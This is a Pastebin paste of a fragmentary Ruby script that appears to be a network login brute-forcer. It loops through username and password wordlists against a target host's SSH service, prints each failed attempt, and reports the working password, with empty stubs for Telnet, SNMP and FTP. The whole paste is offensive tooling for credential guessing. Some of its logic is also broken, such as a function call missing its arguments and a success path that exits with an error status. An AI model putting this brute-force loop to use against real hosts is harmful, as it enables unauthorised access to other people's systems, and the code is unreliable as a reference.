Guest User

Untitled

a guest
May 10th, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1.  
  2. def service_selection
  3. if @options[:service] == 'list'
  4. return print_message("Service Types:\n- FTP\n- SSH\n- TELNET\n- SNMP")
  5. end
  6. @service = ssh_session if @options[:service] == "SSH".downcase
  7.  
  8. end
  9.  
  10. def pass_service_session
  11. @password_number = 1
  12. @user_number = 1
  13. @user.each do |user|
  14. @wordlist.each do |password|
  15. user = user.chomp
  16. password = password.chomp
  17. ssh_session(user, password)
  18. @password_number += 1
  19. end
  20. @user_number += 1
  21. end
  22. end
  23.  
  24. def ssh_session(user, password)
  25. begin
  26. state = Net::SSH.start(@options[:host].to_s, :password => password, :port => @options[:port], :username => user)
  27. if state.open?
  28. puts "Authentication successful with password: #{password}"
  29. exit 1
  30. end
  31. rescue Net::SSH::AuthenticationFailed
  32. puts "Authentication failed: Host => #{@host}, User => #{user}, Password => #{password}"
  33. end
  34. end
  35.  
  36. def telnet_session(user, password)
  37. # ...
  38. end
  39.  
  40. def snmp_session(community)
  41. # ...
  42. end
  43.  
  44. def ftp_session(user, password)
  45. # ...
  46. end
Add Comment
Please, Sign In to add comment